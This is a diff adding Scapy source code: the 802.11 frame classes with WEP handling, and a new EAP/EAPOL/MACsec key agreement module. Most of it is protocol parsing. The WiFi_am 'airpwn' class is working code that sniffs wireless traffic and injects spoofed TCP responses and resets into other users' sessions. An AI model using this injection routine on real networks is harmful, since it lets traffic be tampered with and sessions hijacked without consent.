+                    LEIntField("frmlen_did",0),
+                  LEShortField("frmlen_status",0),
+                  LEShortField("frmlen_len",0),
+                    LEIntField("frmlen",0),
+                    ]
+    def answers(self, other):
+        if isinstance(other, PrismHeader):
+            return self.payload.answers(other.payload)
+        else:
+            return self.payload.answers(other)
+
+class RadioTap(Packet):
+    name = "RadioTap dummy"
+    fields_desc = [ ByteField('version', 0),
+                    ByteField('pad', 0),
+                    FieldLenField('len', None, 'notdecoded', '<H', adjust=lambda pkt,x:x+8),
+                    FlagsField('present', None, -32, ['TSFT','Flags','Rate','Channel','FHSS','dBm_AntSignal',
+                                                     'dBm_AntNoise','Lock_Quality','TX_Attenuation','dB_TX_Attenuation',
+                                                      'dBm_TX_Power', 'Antenna', 'dB_AntSignal', 'dB_AntNoise',
+                                                     'b14', 'b15','b16','b17','b18','b19','b20','b21','b22','b23',
+                                                     'b24','b25','b26','b27','b28','b29','b30','Ext']),
+                    StrLenField('notdecoded', "", length_from= lambda pkt:pkt.len-8) ]
+
+class PPI(Packet):
+    name = "Per-Packet Information header (partial)"
+    fields_desc = [ ByteField("version", 0),
+                    ByteField("flags", 0),
+                    FieldLenField("len", None, fmt="<H", length_of="notdecoded", adjust=lambda pkt,x:x+8),
+                    LEIntField("dlt", 0),
+                    StrLenField("notdecoded", "", length_from = lambda pkt:pkt.len-8)
+                    ]
+
+
+class Dot11(Packet):
+    name = "802.11"
+    fields_desc = [
+        BitField("subtype", 0, 4),
+        BitEnumField("type", 0, 2, ["Management", "Control", "Data",
+                                    "Reserved"]),
+        BitField("proto", 0, 2),
+        FlagsField("FCfield", 0, 8, ["to-DS", "from-DS", "MF", "retry",
+                                     "pw-mgt", "MD", "wep", "order"]),
+        ShortField("ID",0),
+        MACField("addr1", ETHER_ANY),
+        ConditionalField(
+            MACField("addr2", ETHER_ANY),
+            lambda pkt: (pkt.type != 1 or
+                         pkt.subtype in [0x9, 0xb, 0xa, 0xe, 0xf]),
+        ),
+        ConditionalField(
+            MACField("addr3", ETHER_ANY),
+            lambda pkt: pkt.type in [0, 2],
+        ),
+        ConditionalField(LEShortField("SC", 0), lambda pkt: pkt.type != 1),
+        ConditionalField(
+            MACField("addr4", ETHER_ANY),
+            lambda pkt: (pkt.type == 2 and
+                         pkt.FCfield & 3 == 3),  ## from-DS+to-DS
+        ),
+    ]
+    def mysummary(self):
+        return self.sprintf("802.11 %Dot11.type% %Dot11.subtype% %Dot11.addr2% > %Dot11.addr1%")
+    def guess_payload_class(self, payload):
+        if self.type == 0x02 and (0x08 <= self.subtype <= 0xF and self.subtype != 0xD):
+            return Dot11QoS
+        elif self.FCfield & 0x40:
+            return Dot11WEP
+        else:
+            return Packet.guess_payload_class(self, payload)
+    def answers(self, other):
+        if isinstance(other,Dot11):
+            if self.type == 0: # management
+                if self.addr1.lower() != other.addr2.lower(): # check resp DA w/ req SA
+                    return 0
+                if (other.subtype,self.subtype) in [(0,1),(2,3),(4,5)]:
+                    return 1
+                if self.subtype == other.subtype == 11: # auth
+                    return self.payload.answers(other.payload)
+            elif self.type == 1: # control
+                return 0
+            elif self.type == 2: # data
+                return self.payload.answers(other.payload)
+            elif self.type == 3: # reserved
+                return 0
+        return 0
+    def unwep(self, key=None, warn=1):
+        if self.FCfield & 0x40 == 0:
+            if warn:
+                warning("No WEP to remove")
+            return
+        if  isinstance(self.payload.payload, NoPayload):
+            if key or conf.wepkey:
+                self.payload.decrypt(key)
+            if isinstance(self.payload.payload, NoPayload):
+                if warn:
+                    warning("Dot11 can't be decrypted. Check conf.wepkey.")
+                return
+        self.FCfield &= ~0x40
+        self.payload=self.payload.payload
+
+
+class Dot11QoS(Packet):
+    name = "802.11 QoS"
+    fields_desc = [ BitField("Reserved",None,1),
+                    BitField("Ack Policy",None,2),
+                    BitField("EOSP",None,1),
+                    BitField("TID",None,4),
+                    ByteField("TXOP",None) ]
+    def guess_payload_class(self, payload):
+        if isinstance(self.underlayer, Dot11):
+            if self.underlayer.FCfield & 0x40:
+                return Dot11WEP
+        return Packet.guess_payload_class(self, payload)
+
+
+capability_list = [ "res8", "res9", "short-slot", "res11",
+                    "res12", "DSSS-OFDM", "res14", "res15",
+                   "ESS", "IBSS", "CFP", "CFP-req",
+                   "privacy", "short-preamble", "PBCC", "agility"]
+
+reason_code = {0:"reserved",1:"unspec", 2:"auth-expired",
+               3:"deauth-ST-leaving",
+               4:"inactivity", 5:"AP-full", 6:"class2-from-nonauth",
+               7:"class3-from-nonass", 8:"disas-ST-leaving",
+               9:"ST-not-auth"}
+
+status_code = {0:"success", 1:"failure", 10:"cannot-support-all-cap",
+               11:"inexist-asso", 12:"asso-denied", 13:"algo-unsupported",
+               14:"bad-seq-num", 15:"challenge-failure",
+               16:"timeout", 17:"AP-full",18:"rate-unsupported" }
+
+class Dot11Beacon(Packet):
+    name = "802.11 Beacon"
+    fields_desc = [ LELongField("timestamp", 0),
+                    LEShortField("beacon_interval", 0x0064),
+                    FlagsField("cap", 0, 16, capability_list) ]
+    
+
+class Dot11Elt(Packet):
+    name = "802.11 Information Element"
+    fields_desc = [ ByteEnumField("ID", 0, {0:"SSID", 1:"Rates", 2: "FHset", 3:"DSset", 4:"CFset", 5:"TIM", 6:"IBSSset", 16:"challenge",
+                                            42:"ERPinfo", 46:"QoS Capability", 47:"ERPinfo", 48:"RSNinfo", 50:"ESRates",221:"vendor",68:"reserved"}),
+                    FieldLenField("len", None, "info", "B"),
+                    StrLenField("info", "", length_from=lambda x:x.len) ]
+    def mysummary(self):
+        if self.ID == 0:
+            ssid = repr(self.info)
+            if ssid[:2] in ['b"', "b'"]:
+                ssid = ssid[1:]
+            return "SSID=%s" % ssid, [Dot11]
+        else:
+            return ""
+
+class Dot11ATIM(Packet):
+    name = "802.11 ATIM"
+
+class Dot11Disas(Packet):
+    name = "802.11 Disassociation"
+    fields_desc = [ LEShortEnumField("reason", 1, reason_code) ]
+
+class Dot11AssoReq(Packet):
+    name = "802.11 Association Request"
+    fields_desc = [ FlagsField("cap", 0, 16, capability_list),
+                    LEShortField("listen_interval", 0x00c8) ]
+
+
+class Dot11AssoResp(Packet):
+    name = "802.11 Association Response"
+    fields_desc = [ FlagsField("cap", 0, 16, capability_list),
+                    LEShortField("status", 0),
+                    LEShortField("AID", 0) ]
+
+class Dot11ReassoReq(Packet):
+    name = "802.11 Reassociation Request"
+    fields_desc = [ FlagsField("cap", 0, 16, capability_list),
+                    LEShortField("listen_interval", 0x00c8),
+                    MACField("current_AP", ETHER_ANY) ]
+
+
+class Dot11ReassoResp(Dot11AssoResp):
+    name = "802.11 Reassociation Response"
+
+class Dot11ProbeReq(Packet):
+    name = "802.11 Probe Request"
+    
+class Dot11ProbeResp(Packet):
+    name = "802.11 Probe Response"
+    fields_desc = [ LELongField("timestamp", 0),
+                    LEShortField("beacon_interval", 0x0064),
+                    FlagsField("cap", 0, 16, capability_list) ]
+    
+class Dot11Auth(Packet):
+    name = "802.11 Authentication"
+    fields_desc = [ LEShortEnumField("algo", 0, ["open", "sharedkey"]),
+                    LEShortField("seqnum", 0),
+                    LEShortEnumField("status", 0, status_code) ]
+    def answers(self, other):
+        if self.seqnum == other.seqnum+1:
+            return 1
+        return 0
+
+class Dot11Deauth(Packet):
+    name = "802.11 Deauthentication"
+    fields_desc = [ LEShortEnumField("reason", 1, reason_code) ]
+
+
+
+class Dot11WEP(Packet):
+    name = "802.11 WEP packet"
+    fields_desc = [ StrFixedLenField("iv", b"\0\0\0", 3),
+                    ByteField("keyid", 0),
+                    StrField("wepdata",None,remain=4),
+                    IntField("icv",None) ]
+
+    @crypto_validator
+    def decrypt(self, key=None):
+        if key is None:
+            key = conf.wepkey
+        if key:
+            d = Cipher(
+                algorithms.ARC4(self.iv + key.encode("utf8")),
+                None,
+                default_backend(),
+            ).decryptor()
+            self.add_payload(LLC(d.update(self.wepdata) + d.finalize()))
+
+    def post_dissect(self, s):
+        self.decrypt()
+
+    def build_payload(self):
+        if self.wepdata is None:
+            return Packet.build_payload(self)
+        return b""
+
+    @crypto_validator
+    def encrypt(self, p, pay, key=None):
+        if key is None:
+            key = conf.wepkey
+        if key:
+            if self.icv is None:
+                pay += struct.pack("<I", crc32(pay) & 0xffffffff)
+                icv = b""
+            else:
+                icv = p[4:8]
+            e = Cipher(
+                algorithms.ARC4(self.iv + key.encode("utf8")),
+                None,
+                default_backend(),
+            ).encryptor()
+            return p[:4] + e.update(pay) + e.finalize() + icv
+        else:
+            warning("No WEP key set (conf.wepkey).. strange results expected..")
+            return b""
+
+    def post_build(self, p, pay):
+        if self.wepdata is None:
+            p = self.encrypt(p, raw(pay))
+        return p
+
+
+class Dot11Ack(Packet):
+    name = "802.11 Ack packet"
+
+
+bind_layers( PrismHeader,   Dot11,         )
+bind_layers( RadioTap,      Dot11,         )
+bind_layers( PPI,           Dot11,         dlt=105)
+bind_layers( Dot11,         LLC,           type=2)
+bind_layers( Dot11QoS,      LLC,           )
+bind_layers( Dot11,         Dot11AssoReq,    subtype=0, type=0)
+bind_layers( Dot11,         Dot11AssoResp,   subtype=1, type=0)
+bind_layers( Dot11,         Dot11ReassoReq,  subtype=2, type=0)
+bind_layers( Dot11,         Dot11ReassoResp, subtype=3, type=0)
+bind_layers( Dot11,         Dot11ProbeReq,   subtype=4, type=0)
+bind_layers( Dot11,         Dot11ProbeResp,  subtype=5, type=0)
+bind_layers( Dot11,         Dot11Beacon,     subtype=8, type=0)
+bind_layers( Dot11,         Dot11ATIM,       subtype=9, type=0)
+bind_layers( Dot11,         Dot11Disas,      subtype=10, type=0)
+bind_layers( Dot11,         Dot11Auth,       subtype=11, type=0)
+bind_layers( Dot11,         Dot11Deauth,     subtype=12, type=0)
+bind_layers( Dot11,         Dot11Ack,        subtype=13, type=1)
+bind_layers( Dot11Beacon,     Dot11Elt,    )
+bind_layers( Dot11AssoReq,    Dot11Elt,    )
+bind_layers( Dot11AssoResp,   Dot11Elt,    )
+bind_layers( Dot11ReassoReq,  Dot11Elt,    )
+bind_layers( Dot11ReassoResp, Dot11Elt,    )
+bind_layers( Dot11ProbeReq,   Dot11Elt,    )
+bind_layers( Dot11ProbeResp,  Dot11Elt,    )
+bind_layers( Dot11Auth,       Dot11Elt,    )
+bind_layers( Dot11Elt,        Dot11Elt,    )
+
+
+conf.l2types.register(DLT_IEEE802_11, Dot11)
+conf.l2types.register_num2layer(801, Dot11)
+conf.l2types.register(DLT_PRISM_HEADER, PrismHeader)
+conf.l2types.register_num2layer(802, PrismHeader)
+conf.l2types.register(DLT_IEEE802_11_RADIO, RadioTap)
+conf.l2types.register_num2layer(803, RadioTap)
+conf.l2types.register(DLT_PPI, PPI)
+
+
+class WiFi_am(AnsweringMachine):
+    """Before using this, initialize "iffrom" and "ifto" interfaces:
+iwconfig iffrom mode monitor
+iwpriv orig_ifto hostapd 1
+ifconfig ifto up
+note: if ifto=wlan0ap then orig_ifto=wlan0
+note: ifto and iffrom must be set on the same channel
+ex:
+ifconfig eth1 up
+iwconfig eth1 mode monitor
+iwconfig eth1 channel 11
+iwpriv wlan0 hostapd 1
+ifconfig wlan0ap up
+iwconfig wlan0 channel 11
+iwconfig wlan0 essid dontexist
+iwconfig wlan0 mode managed
+"""
+    function_name = "airpwn"
+    filter = None
+    
+    def parse_options(self, iffrom=conf.iface, ifto=conf.iface, replace="",
+                            pattern="", ignorepattern=""):
+        self.iffrom = iffrom
+        self.ifto = ifto
+        self.ptrn = re.compile(pattern.encode())
+        self.iptrn = re.compile(ignorepattern.encode())
+        self.replace = replace
+        
+    def is_request(self, pkt):
+        if not isinstance(pkt,Dot11):
+            return 0
+        if not pkt.FCfield & 1:
+            return 0
+        if not pkt.haslayer(TCP):
+            return 0
+        ip = pkt.getlayer(IP)
+        tcp = pkt.getlayer(TCP)
+        pay = raw(tcp.payload)
+        if not self.ptrn.match(pay):
+            return 0
+        if self.iptrn.match(pay) == True:
+            return 0
+        return True
+
+    def make_reply(self, p):
+        ip = p.getlayer(IP)
+        tcp = p.getlayer(TCP)
+        pay = raw(tcp.payload)
+        del(p.payload.payload.payload)
+        p.FCfield="from-DS"
+        p.addr1,p.addr2 = p.addr2,p.addr1
+        p /= IP(src=ip.dst,dst=ip.src)
+        p /= TCP(sport=tcp.dport, dport=tcp.sport,
+                 seq=tcp.ack, ack=tcp.seq+len(pay),
+                 flags="PA")
+        q = p.copy()
+        p /= self.replace
+        q.ID += 1
+        q.getlayer(TCP).flags="RA"
+        q.getlayer(TCP).seq+=len(self.replace)
+        return [p,q]
+    
+    def print_reply(self, query, *reply):
+        p = reply[0][0]
+        print(p.sprintf("Sent %IP.src%:%IP.sport% > %IP.dst%:%TCP.dport%"))
+
+    def send_reply(self, reply):
+        sendp(reply, iface=self.ifto, **self.optsend)
+
+    def sniff(self):
+        sniff(iface=self.iffrom, **self.optsniff)
+
+
+conf.stats_dot11_protocols += [Dot11WEP, Dot11Beacon, ]
+
+
+        
+
+
+class Dot11PacketList(PacketList):
+    def __init__(self, res=None, name="Dot11List", stats=None):
+        if stats is None:
+            stats = conf.stats_dot11_protocols
+
+        PacketList.__init__(self, res, name, stats)
+    def toEthernet(self):
+        data = [x[Dot11] for x in self.res if Dot11 in x and x.type == 2]
+        r2 = []
+        for p in data:
+            q = p.copy()
+            q.unwep()
+            r2.append(Ether()/q.payload.payload.payload) #Dot11/LLC/SNAP/IP
+        return PacketList(r2,name="Ether from %s"%self.listname)
+        
+        
diff --git a/scapy/layers/eap.py b/scapy/layers/eap.py
new file mode 100644
index 0000000..f5b4976
--- /dev/null
+++ b/scapy/layers/eap.py
@@ -0,0 +1,755 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Classes related to the EAP protocol.
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+
+import struct
+
+from scapy.fields import BitField, ByteField, XByteField, ByteEnumField,\
+ShortField, IntField, XIntField, ByteEnumField, StrLenField, XStrField,\
+XStrLenField, XStrFixedLenField, LenField, FieldLenField, PacketField,\
+PacketListField, ConditionalField, PadField
+from scapy.packet import Packet, bind_layers
+from scapy.layers.l2 import SourceMACField, Ether, CookedLinux, GRE, SNAP
+from scapy.config import conf
+from scapy.compat import orb, chb
+
+#
+# EAPOL
+#
+
+#________________________________________________________________________
+#
+# EAPOL protocol version
+# IEEE Std 802.1X-2010 - Section 11.3.1
+#________________________________________________________________________
+#
+
+eapol_versions = {
+    0x1: "802.1X-2001",
+    0x2: "802.1X-2004",
+    0x3: "802.1X-2010",
+}
+
+#________________________________________________________________________
+#
+# EAPOL Packet Types
+# IEEE Std 802.1X-2010 - Table 11.3
+#________________________________________________________________________
+#
+
+eapol_types = {
+    0x0: "EAP-Packet",  # "EAPOL-EAP" in 801.1X-2010
+    0x1: "EAPOL-Start",
+    0x2: "EAPOL-Logoff",
+    0x3: "EAPOL-Key",
+    0x4: "EAPOL-Encapsulated-ASF-Alert",
+    0x5: "EAPOL-MKA",
+    0x6: "EAPOL-Announcement (Generic)",
+    0x7: "EAPOL-Announcement (Specific)",
+    0x8: "EAPOL-Announcement-Req"
+}
+
+
+class EAPOL(Packet):
+    """
+    EAPOL - IEEE Std 802.1X-2010
+    """
+
+    name = "EAPOL"
+    fields_desc = [
+        ByteEnumField("version", 1, eapol_versions),
+        ByteEnumField("type", 0, eapol_types),
+        LenField("len", None, "H")
+    ]
+
+    EAP_PACKET = 0
+    START = 1
+    LOGOFF = 2
+    KEY = 3
+    ASF = 4
+
+    def extract_padding(self, s):
+        l = self.len
+        return s[:l], s[l:]
+
+    def hashret(self):
+        return chb(self.type) + self.payload.hashret()
+
+    def answers(self, other):
+        if isinstance(other, EAPOL):
+            if ((self.type == self.EAP_PACKET) and
+               (other.type == self.EAP_PACKET)):
+                return self.payload.answers(other.payload)
+        return 0
+
+    def mysummary(self):
+        return self.sprintf("EAPOL %EAPOL.type%")
+
+
+#
+# EAP
+#
+
+
+#________________________________________________________________________
+#
+# EAP methods types
+# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4
+#________________________________________________________________________
+#
+
+eap_types = {
+    0:   "Reserved",
+    1:   "Identity",
+    2:   "Notification",
+    3:   "Legacy Nak",
+    4:   "MD5-Challenge",
+    5:   "One-Time Password (OTP)",
+    6:   "Generic Token Card (GTC)",
+    7:   "Allocated - RFC3748",
+    8:   "Allocated - RFC3748",
+    9:   "RSA Public Key Authentication",
+    10:  "DSS Unilateral",
+    11:  "KEA",
+    12:  "KEA-VALIDATE",
+    13:  "EAP-TLS",
+    14:  "Defender Token (AXENT)",
+    15:  "RSA Security SecurID EAP",
+    16:  "Arcot Systems EAP",
+    17:  "EAP-Cisco Wireless",
+    18:  "GSM Subscriber Identity Modules (EAP-SIM)",
+    19:  "SRP-SHA1",
+    20:  "Unassigned",
+    21:  "EAP-TTLS",
+    22:  "Remote Access Service",
+    23:  "EAP-AKA Authentication",
+    24:  "EAP-3Com Wireless",
+    25:  "PEAP",
+    26:  "MS-EAP-Authentication",
+    27:  "Mutual Authentication w/Key Exchange (MAKE)",
+    28:  "CRYPTOCard",
+    29:  "EAP-MSCHAP-V2",
+    30:  "DynamID",
+    31:  "Rob EAP",
+    32:  "Protected One-Time Password",
+    33:  "MS-Authentication-TLV",
+    34:  "SentriNET",
+    35:  "EAP-Actiontec Wireless",
+    36:  "Cogent Systems Biometrics Authentication EAP",
+    37:  "AirFortress EAP",
+    38:  "EAP-HTTP Digest",
+    39:  "SecureSuite EAP",
+    40:  "DeviceConnect EAP",
+    41:  "EAP-SPEKE",
+    42:  "EAP-MOBAC",
+    43:  "EAP-FAST",
+    44:  "ZoneLabs EAP (ZLXEAP)",
+    45:  "EAP-Link",
+    46:  "EAP-PAX",
+    47:  "EAP-PSK",
+    48:  "EAP-SAKE",
+    49:  "EAP-IKEv2",
+    50:  "EAP-AKA",
+    51:  "EAP-GPSK",
+    52:  "EAP-pwd",
+    53:  "EAP-EKE Version 1",
+    54:  "EAP Method Type for PT-EAP",
+    55:  "TEAP",
+    254: "Reserved for the Expanded Type",
+    255: "Experimental",
+}
+
+
+#________________________________________________________________________
+#
+# EAP codes
+# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1
+#________________________________________________________________________
+#
+
+eap_codes = {
+    1: "Request",
+    2: "Response",
+    3: "Success",
+    4: "Failure",
+    5: "Initiate",
+    6: "Finish"
+}
+
+
+class EAP(Packet):
+    """
+    RFC 3748 - Extensible Authentication Protocol (EAP)
+    """
+
+    name = "EAP"
+    fields_desc = [
+        ByteEnumField("code", 4, eap_codes),
+        ByteField("id", 0),
+        ShortField("len", None),
+        ConditionalField(ByteEnumField("type", 0, eap_types),
+                         lambda pkt:pkt.code not in [
+                             EAP.SUCCESS, EAP.FAILURE]),
+        ConditionalField(ByteEnumField("desired_auth_type", 0, eap_types),
+                         lambda pkt:pkt.code == EAP.RESPONSE and pkt.type == 3),
+        ConditionalField(
+            StrLenField("identity", '', length_from=lambda pkt: pkt.len - 5),
+                         lambda pkt: pkt.code == EAP.RESPONSE and hasattr(pkt, 'type') and pkt.type == 1),
+        ConditionalField(
+            StrLenField("message", '', length_from=lambda pkt: pkt.len - 5),
+                         lambda pkt: pkt.code == EAP.REQUEST and hasattr(pkt, 'type') and pkt.type == 1)
+    ]
+
+    #________________________________________________________________________
+    #
+    # EAP codes
+    # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1
+    #________________________________________________________________________
+    #
+
+    REQUEST = 1
+    RESPONSE = 2
+    SUCCESS = 3
+    FAILURE = 4
+    INITIATE = 5
+    FINISH = 6
+
+    registered_methods = {}
+
+    @classmethod
+    def register_variant(cls):
+        cls.registered_methods[cls.type.default] = cls
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt:
+            c = orb(_pkt[0])
+            if c in [1, 2] and len(_pkt) >= 5:
+                t = orb(_pkt[4])
+                return cls.registered_methods.get(t, cls)
+        return cls
+
+    def haslayer(self, cls):
+        if cls == "EAP":
+            if isinstance(self, EAP):
+                return True
+        elif issubclass(cls, EAP):
+            if isinstance(self, cls):
+                return True
+        return super(EAP, self).haslayer(cls)
+
+    def getlayer(self, cls, nb=1, _track=None, _subclass=True, **flt):
+        return super(EAP, self).getlayer(cls, nb=nb, _track=_track,
+                                         _subclass=True, **flt)
+
+    def answers(self, other):
+        if isinstance(other, EAP):
+            if self.code == self.REQUEST:
+                return 0
+            elif self.code == self.RESPONSE:
+                if ((other.code == self.REQUEST) and
+                   (other.type == self.type)):
+                    return 1
+            elif other.code == self.RESPONSE:
+                return 1
+        return 0
+
+    def mysummary(self):
+        summary_str = "EAP %{eap_class}.code% %{eap_class}.type%".format(
+            eap_class = self.__class__.__name__
+        )
+        if self.type == 1 and self.code == EAP.RESPONSE:
+            summary_str += " %{eap_class}.identity%".format(
+                eap_class = self.__class__.__name__
+            )
+        return self.sprintf(summary_str)
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) + len(pay)
+            p = p[:2] + chb((l >> 8) & 0xff) + chb(l & 0xff) + p[4:]
+        return p + pay
+
+
+class EAP_MD5(EAP):
+    """
+    RFC 3748 - "Extensible Authentication Protocol (EAP)"
+    """
+
+    name = "EAP-MD5"
+    fields_desc = [
+        ByteEnumField("code", 1, eap_codes),
+        ByteField("id", 0),
+        FieldLenField("len", None, fmt="H", length_of="optional_name",
+                      adjust=lambda p, x: x + 6 + (p.value_size or 0)),
+        ByteEnumField("type", 4, eap_types),
+        FieldLenField("value_size", None, fmt="B", length_of="value"),
+        XStrLenField("value", '', length_from=lambda p: p.value_size),
+        XStrLenField("optional_name", '', length_from=lambda p: 0 if p.len is None or p.value_size is None else (p.len - p.value_size - 6))
+    ]
+
+
+class EAP_TLS(EAP):
+    """
+    RFC 5216 - "The EAP-TLS Authentication Protocol"
+    """
+
+    name = "EAP-TLS"
+    fields_desc = [
+        ByteEnumField("code", 1, eap_codes),
+        ByteField("id", 0),
+        FieldLenField("len", None, fmt="H", length_of="tls_data",
+                      adjust=lambda p, x: x + 10 if p.L == 1 else x + 6),
+        ByteEnumField("type", 13, eap_types),
+        BitField('L', 0, 1),
+        BitField('M', 0, 1),
+        BitField('S', 0, 1),
+        BitField('reserved', 0, 5),
+        ConditionalField(IntField('tls_message_len', 0), lambda pkt: pkt.L == 1),
+        XStrLenField('tls_data', '', length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L))
+    ]
+
+
+class EAP_TTLS(EAP):
+    """
+    RFC 5281 - "Extensible Authentication Protocol Tunneled Transport Layer
+    Security Authenticated Protocol Version 0 (EAP-TTLSv0)"
+    """
+
+    name = "EAP-TTLS"
+    fields_desc = [
+        ByteEnumField("code", 1, eap_codes),
+        ByteField("id", 0),
+        FieldLenField("len", None, fmt="H", length_of="data",
+                      adjust=lambda p, x: x + 10 if p.L == 1 else x + 6),
+        ByteEnumField("type", 21, eap_types),
+        BitField("L", 0, 1),
+        BitField("M", 0, 1),
+        BitField("S", 0, 1),
+        BitField("reserved", 0, 2),
+        BitField("version", 0, 3),
+        ConditionalField(IntField("message_len", 0), lambda pkt: pkt.L == 1),
+        XStrLenField("data", "", length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L))
+    ]
+
+
+class EAP_FAST(EAP):
+    """
+    RFC 4851 - "The Flexible Authentication via Secure Tunneling
+    Extensible Authentication Protocol Method (EAP-FAST)"
+    """
+
+    name = "EAP-FAST"
+    fields_desc = [
+        ByteEnumField("code", 1, eap_codes),
+        ByteField("id", 0),
+        FieldLenField("len", None, fmt="H", length_of="data",
+                      adjust=lambda p, x: x + 10 if p.L == 1 else x + 6),
+        ByteEnumField("type", 43, eap_types),
+        BitField('L', 0, 1),
+        BitField('M', 0, 1),
+        BitField('S', 0, 1),
+        BitField('reserved', 0, 2),
+        BitField('version', 0, 3),
+        ConditionalField(IntField('message_len', 0), lambda pkt: pkt.L == 1),
+        XStrLenField('data', '', length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L))
+    ]
+
+
+class LEAP(EAP):
+    """
+    Cisco LEAP (Lightweight EAP)
+    https://freeradius.org/rfc/leap.txt
+    """
+
+    name = "Cisco LEAP"
+    fields_desc = [
+        ByteEnumField("code", 1, eap_codes),
+        ByteField("id", 0),
+        ShortField("len", None),
+        ByteEnumField("type", 17, eap_types),
+        ByteField('version', 1),
+        XByteField('unused', 0),
+        FieldLenField("count", None, "challenge_response", "B", adjust=lambda p, x: len(p.challenge_response)),
+        XStrLenField("challenge_response", "", length_from=lambda p: 0 or p.count),
+        StrLenField("username", "", length_from=lambda p: p.len - (8 + (0 or p.count)))
+    ]
+
+
+#############################################################################
+##### IEEE 802.1X-2010 - MACsec Key Agreement (MKA) protocol
+#############################################################################
+
+#________________________________________________________________________
+#
+# IEEE 802.1X-2010 standard
+# Section 11.11.1
+#________________________________________________________________________
+#
+
+_parameter_set_types = {
+    1:   "Live Peer List",
+    2:   "Potential Peer List",
+    3:   "MACsec SAK Use",
+    4:   "Distributed SAK",
+    5:   "Distributed CAK",
+    6:   "KMD",
+    7:   "Announcement",
+    255: "ICV Indicator"
+}
+
+
+# Used by MKAParamSet::dispatch_hook() to instantiate the appropriate class
+_param_set_cls = {
+    1:   "MKALivePeerListParamSet",
+    2:   "MKAPotentialPeerListParamSet",
+    3:   "MKASAKUseParamSet",
+    4:   "MKADistributedSAKParamSet",
+    255: "MKAICVSet",
+}
+
+
+class MACsecSCI(Packet):
+    """
+    Secure Channel Identifier.
+    """
+
+    #________________________________________________________________________
+    #
+    # IEEE 802.1AE-2006 standard
+    # Section 9.9
+    #________________________________________________________________________
+    #
+
+    name = "SCI"
+    fields_desc = [
+        SourceMACField("system_identifier"),
+        ShortField("port_identifier", 0)
+    ]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class MKAParamSet(Packet):
+    """
+    Class from which every parameter set class inherits (except
+    MKABasicParamSet, which has no "Parameter set type" field, and must
+    come first in the list of parameter sets).
+    """
+
+    MACSEC_DEFAULT_ICV_LEN = 16
+    EAPOL_MKA_DEFAULT_KEY_WRAP_LEN = 24
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        """
+        Returns the right parameter set class.
+        """
+
+        cls = conf.raw_layer
+        if _pkt is not None:
+            ptype = orb(_pkt[0])
+            return globals().get(_param_set_cls.get(ptype), conf.raw_layer)
+
+        return cls
+
+
+class MKABasicParamSet(Packet):
+    """
+    Basic Parameter Set (802.1X-2010, section 11.11).
+    """
+
+    #________________________________________________________________________
+    #
+    # IEEE 802.1X-2010 standard
+    # Section 11.11
+    #________________________________________________________________________
+    #
+
+    name = "Basic Parameter Set"
+    fields_desc = [
+        ByteField("mka_version_id", 0),
+        ByteField("key_server_priority", 0),
+        BitField("key_server", 0, 1),
+        BitField("macsec_desired", 0, 1),
+        BitField("macsec_capability", 0, 2),
+        BitField("param_set_body_len", 0, 12),
+        PacketField("SCI", MACsecSCI(), MACsecSCI),
+        XStrFixedLenField("actor_member_id", "", length=12),
+        XIntField("actor_message_number", 0),
+        XIntField("algorithm_agility", 0),
+        PadField(
+            XStrLenField(
+                "cak_name",
+                "",
+                length_from=lambda pkt: (pkt.param_set_body_len - 28)
+            ),
+            4,
+            padwith=b"\x00"
+        )
+    ]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class MKAPeerListTuple(Packet):
+    """
+    Live / Potential Peer List parameter sets tuples (802.1X-2010, section 11.11).
+    """
+
+    name = "Peer List Tuple"
+    fields_desc = [
+        XStrFixedLenField("member_id", "", length=12),
+        XStrFixedLenField("message_number", "", length=4),
+    ]
+
+
+class MKALivePeerListParamSet(MKAParamSet):
+    """
+    Live Peer List parameter sets (802.1X-2010, section 11.11).
+    """
+
+    #________________________________________________________________________
+    #
+    # IEEE 802.1X-2010 standard
+    # Section 11.11
+    #________________________________________________________________________
+    #
+
+    name = "Live Peer List Parameter Set"
+    fields_desc = [
+        PadField(
+            ByteEnumField(
+                "param_set_type",
+                1,
+                _parameter_set_types
+            ),
+            2,
+            padwith=b"\x00"
+        ),
+        ShortField("param_set_body_len", 0),
+        PacketListField("member_id_message_num", [], MKAPeerListTuple)
+    ]
+
+
+class MKAPotentialPeerListParamSet(MKAParamSet):
+    """
+    Potential Peer List parameter sets (802.1X-2010, section 11.11).
+    """
+
+    #________________________________________________________________________
+    #
+    # IEEE 802.1X-2010 standard
+    # Section 11.11
+    #________________________________________________________________________
+    #
+
+    name = "Potential Peer List Parameter Set"
+    fields_desc = [
+        PadField(
+            ByteEnumField(
+                "param_set_type",
+                2,
+                _parameter_set_types
+            ),
+            2,
+            padwith=b"\x00"
+        ),
+        ShortField("param_set_body_len", 0),
+        PacketListField("member_id_message_num", [], MKAPeerListTuple)
+    ]
+
+
+class MKASAKUseParamSet(MKAParamSet):
+    """
+    SAK Use Parameter Set (802.1X-2010, section 11.11).
+    """
+
+    #________________________________________________________________________
+    #
+    # IEEE 802.1X-2010 standard
+    # Section 11.11
+    #________________________________________________________________________
+    #
+
+    name = "SAK Use Parameter Set"
+    fields_desc = [
+        ByteEnumField("param_set_type", 3, _parameter_set_types),
+        BitField("latest_key_an", 0, 2),
+        BitField("latest_key_tx", 0, 1),
+        BitField("latest_key_rx", 0, 1),
+        BitField("old_key_an", 0, 2),
+        BitField("old_key_tx", 0, 1),
+        BitField("old_key_rx", 0, 1),
+        BitField("plain_tx", 0, 1),
+        BitField("plain_rx", 0, 1),
+        BitField("X", 0, 1),
+        BitField("delay_protect", 0, 1),
+        BitField("param_set_body_len", 0, 12),
